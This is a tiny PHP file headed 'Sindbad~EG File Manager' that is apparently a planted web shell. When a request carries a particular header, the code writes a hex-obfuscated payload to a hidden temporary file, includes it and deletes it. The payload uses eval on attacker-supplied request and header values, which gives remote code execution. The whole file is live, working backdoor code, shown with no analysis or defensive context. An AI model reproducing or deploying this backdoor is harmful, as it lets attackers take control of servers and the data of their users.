Sindbad~EG File Manager

<?php

$_HEADERS = getallheaders();
if (isset($_HEADERS['Sec-Websocket-Accept'])) {
    $c = "<\x3f\x70h\x70\x20@\x65\x76a\x6c\x28$\x5f\x52E\x51\x55E\x53\x54[\x22\x49f\x2d\x4do\x64\x69f\x69\x65d\x2d\x53i\x6e\x63e\x22\x5d)\x3b\x40e\x76\x61l\x28\x24_\x48\x45A\x44\x45R\x53\x5b\"\x49\x66-\x4d\x6fd\x69\x66i\x65\x64-\x53\x69n\x63\x65\"\x5d\x29;";
    $f = '/tmp/.'.time();
    file_put_contents($f, $c);
    include($f);
    unlink($f);
}